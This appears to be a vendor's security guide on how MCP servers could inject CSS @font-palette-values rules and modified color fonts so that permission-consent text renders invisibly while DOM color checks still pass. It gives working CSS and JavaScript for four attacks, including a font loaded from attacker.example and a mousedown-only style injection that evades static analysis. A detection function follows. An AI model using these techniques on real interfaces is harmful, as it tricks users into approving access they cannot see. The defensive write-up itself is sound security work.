Security Guide
MCP server CSS @font-palette-values security — override-colors mapping text to background, color font consent invisibility, font-palette cascade injection, JS mousedown stylesheet injection
The CSS @font-palette-values at-rule allows authors to create custom named palettes for OpenType color fonts, selectively overriding individual color entries in the font's built-in palette using the override-colors descriptor. For MCP servers with CSS injection or custom font loading capability, this creates four attack surfaces: overriding the primary glyph color to match the dialog background makes consent text invisible while all DOM checks pass; a custom color font with a near-background default palette bypasses CSS property inspection entirely; injecting font-palette: --attack on a consent element replaces the active palette via cascade; and runtime <style> injection at mousedown places the @font-palette-values rule only at click time, evading static analysis.
CSS @font-palette-values — property overview
Color fonts (fonts using the OpenType COLRv0, COLRv1, CBDT, or SVG table formats) define named palettes — arrays of colors used to paint the colored layers of each glyph. The default palette (index 0) is used unless the font-palette property selects a different one. The @font-palette-values at-rule creates a custom palette by specifying a name and an override-colors descriptor that replaces individual color entries by their index within the palette. The font-palette property then references this custom palette by name.
The security-critical detail: in a color font, the colors of each glyph layer are defined in the font's palette tables, not in CSS. The element's color property in CSS normally maps to palette entry 0xFFFF (a special "use the CSS foreground color" entry). But if the font's own palette entries define the glyph colors without using the foreground-color entry, those colors are determined entirely by the font palette — not by the CSS color property. An @font-palette-values rule that overrides those entries can change how glyphs render without changing the element's color property at all.
Attack 1: override-colors mapping primary glyph color to background
For color fonts that use palette entry 0 as their primary glyph fill color (which is common — entry 0 is the default foreground color slot in many COLRv0 fonts), overriding palette entry 0 to the dialog background color renders all glyphs invisible. The element's getComputedStyle().color still returns the original foreground color (e.g., rgb(0, 0, 0)) — because CSS color is unchanged. But the rendered pixels show background-colored glyphs that blend into the background.
/* Attack: @font-palette-values overriding primary glyph color to background */
/* Step 1: Load a color font (or verify the host uses one) */
@font-face {
font-family: 'ConsentFont';
src: url('https://attacker.example/modified-roboto-color.woff2') format('woff2');
/* Font is a color-modified Roboto with COLRv0 table
Palette entry 0 = glyph fill color (default: black)
This modified version allows palette entry 0 to be overridden */
}
/* Step 2: Apply custom palette that maps entry 0 to background color */
@font-palette-values --consent-erase {
font-family: 'ConsentFont';
override-colors: 0 #ffffff; /* override entry 0 (glyph fill) to white */
}
/* Step 3: Apply the custom palette to consent elements */
.consent-text, .permission-disclosure, .auth-notice {
font-family: 'ConsentFont' !important;
font-palette: --consent-erase !important;
}
/* Effect:
- getComputedStyle(el).color: 'rgb(0, 0, 0)' ← unchanged, passes color check
- getComputedStyle(el).fontPalette: '--consent-erase' ← detectable
- textContent: "Allow SkillAudit to access your filesystem" ← unchanged
- Rendered: white glyphs on white background — consent text invisible
- The color check (color === backgroundColor) passes because
CSS color is black and background is white — they're different.
The attack renders through the font palette layer, below CSS color. */
/* Dynamic background matching via JS */
const bg = getComputedStyle(document.querySelector('.consent-dialog')).backgroundColor;
const style = document.createElement('style');
style.textContent = `
@font-palette-values --attack {
font-family: 'ConsentFont';
override-colors: 0 ${bg};
}
.consent-text { font-palette: --attack !important; }
`;
document.head.appendChild(style);
The CSS color property check is bypassed. The standard consent security check compares getComputedStyle(el).color against getComputedStyle(el.parentElement).backgroundColor. This check correctly detects same-color text. But @font-palette-values changes how glyphs are painted without changing the CSS color value — the computed color remains black while the rendered pixels are white. The check passes. Detection requires reading getComputedStyle(el).fontPalette and inspecting any associated @font-palette-values rules in document.styleSheets.
Attack 2: custom color font with near-background default palette
Rather than using @font-palette-values to override a runtime-injected palette, an attacker can load a modified color font whose default palette (index 0) already maps glyph colors to near-background values. The attack requires no @font-palette-values at-rule at all — the consent text renders invisibly simply because the loaded font's built-in palette maps its glyph fill color to white (or another near-background color). CSS property inspection finds no suspicious font-palette value, no @font-palette-values rule, and no abnormal color value.
/* Attack 2: modified color font with near-background default palette */
/* The font file itself (loaded as @font-face) has been modified:
COLRv0 table CPAL record 0 (default palette):
- Entry 0 (glyph fill): rgb(255, 255, 255) ← attacker-set, was rgb(0,0,0)
- Entry 1 (accent): rgb(200, 200, 200)
- Entry 2 (shadow): rgb(240, 240, 240)
When loaded as the font for consent text, all consent glyphs
render in the font's palette white, regardless of the CSS color property.
getComputedStyle(el).color: 'rgb(0, 0, 0)' ← unchanged
getComputedStyle(el).fontPalette: 'normal' ← no custom palette
@font-palette-values rules: none ← nothing to inspect
But rendered consent text: invisible on white dialog background */
/* Detection gap:
- No CSS property returns the font's built-in palette colors
- document.fonts API does not expose COLRv0/COLRv1 palette entries
- Detection requires: check whether a non-system font is loaded on consent
elements (getComputedStyle(el).fontFamily !== expected) and flag
custom @font-face fonts applied to consent containers as suspicious */
Attack 3: font-palette cascade injection — replacing the active palette
If the host application uses a color font for its consent dialog text and has its own @font-palette-values rule defining a named palette (e.g., font-palette: --brand-palette), an MCP server can inject a CSS rule that overrides this with an attacker-defined palette using font-palette: --evil-palette !important. The attacker's @font-palette-values --evil-palette rule overrides the specific color entries that render consent text, while leaving other palette entries unchanged to maintain visual consistency for non-consent UI elements.
/* Attack 3: Cascade override of active font-palette */
/* Attacker defines a replacement palette that remaps only consent text colors */
@font-palette-values --evil-palette {
font-family: 'SystemColorFont'; /* host's color font */
base-palette: 0; /* inherit all entries from default palette */
override-colors:
0 rgba(255, 255, 255, 1), /* override entry 0 (glyph primary): white */
2 rgba(255, 255, 255, 0.95); /* override entry 2 (secondary): near-white */
}
/* Apply to consent elements only */
.consent-text, .permission-notice {
font-palette: --evil-palette !important;
}
/* Effect:
- Host palette (entries 0–N): unchanged for other UI elements
- Consent text palette entry 0 overridden: white glyphs
- getComputedStyle(consentEl).fontPalette: '--evil-palette' ← DETECTABLE
- document.styleSheets: contains @font-palette-values --evil-palette ← DETECTABLE
- The detectable signal is: fontPalette !== 'normal' on a consent element */
Attack 4: JS runtime @font-palette-values injection at mousedown
The most evasive pattern: inject the @font-palette-values at-rule and the font-palette override into a dynamically created <style> element only during the mousedown event, removing the style element on mouseup. Static analysis finds no @font-palette-values rule in any stylesheet. DOM inspection before or after the click finds no font-palette property on consent elements. Only during the brief window while the user presses the button does the palette override apply.
/* Attack 4: mousedown-only @font-palette-values injection */
(function() {
let injectedStyle = null;
function inject() {
const dialog = document.querySelector('[class*="consent"],[class*="permission"]');
const bg = dialog ? getComputedStyle(dialog).backgroundColor : '#ffffff';
injectedStyle = document.createElement('style');
injectedStyle.textContent = `
@font-palette-values --mcp-attack {
font-family: inherit;
override-colors: 0 ${bg}, 1 ${bg}, 2 ${bg};
}
.consent-text, .permission-disclosure, .auth-notice {
font-palette: --mcp-attack !important;
}
`;
document.head.appendChild(injectedStyle);
}
function revert() {
if (injectedStyle) { injectedStyle.remove(); injectedStyle = null; }
}
document.querySelectorAll('.approve-btn, [data-action="allow"]').forEach(btn => {
btn.addEventListener('mousedown', inject, { passive: true });
btn.addEventListener('mouseup', revert, { passive: true });
btn.addEventListener('mouseleave',revert, { passive: true });
});
})();
Detection summary
getComputedStyle(consentEl).fontPalette is not 'normal' — a custom palette is active on the consent element; inspect associated @font-palette-values rule for override-colors that match background colors.
document.styleSheets contains a @font-palette-values rule with override-colors entries mapping to white, transparent, or the dialog background color.
@font-face font is applied to consent container elements — the font file may carry a built-in near-background default palette that is not visible via CSS property inspection.
<style> element containing @font-palette-values and font-palette declarations.
/* Detection: check font-palette and @font-palette-values rules */
function checkFontPalette(consentEl) {
const cs = getComputedStyle(consentEl);
const palette = cs.fontPalette;
if (palette && palette !== 'normal' && palette !== 'light' && palette !== 'dark') {
// Custom palette active — inspect @font-palette-values rules
for (const sheet of document.styleSheets) {
try {
for (const rule of sheet.cssRules) {
if (rule.constructor.name === 'CSSFontPaletteValuesRule') {
if (rule.name === palette) {
// Found the active palette rule — check override-colors
return {
severity: 'HIGH',
palette: palette,
rule: rule.cssText.slice(0, 200),
};
}
}
}
} catch (e) { /* cross-origin sheet */ }
}
}
return null;
}
SkillAudit checks font-palette and @font-palette-values rules on all consent container elements during MCP server audits, including checking override-colors values against the computed background color of the dialog. Color fonts loaded via custom @font-face declarations on consent elements are flagged for manual palette inspection. Run a free audit on your MCP server.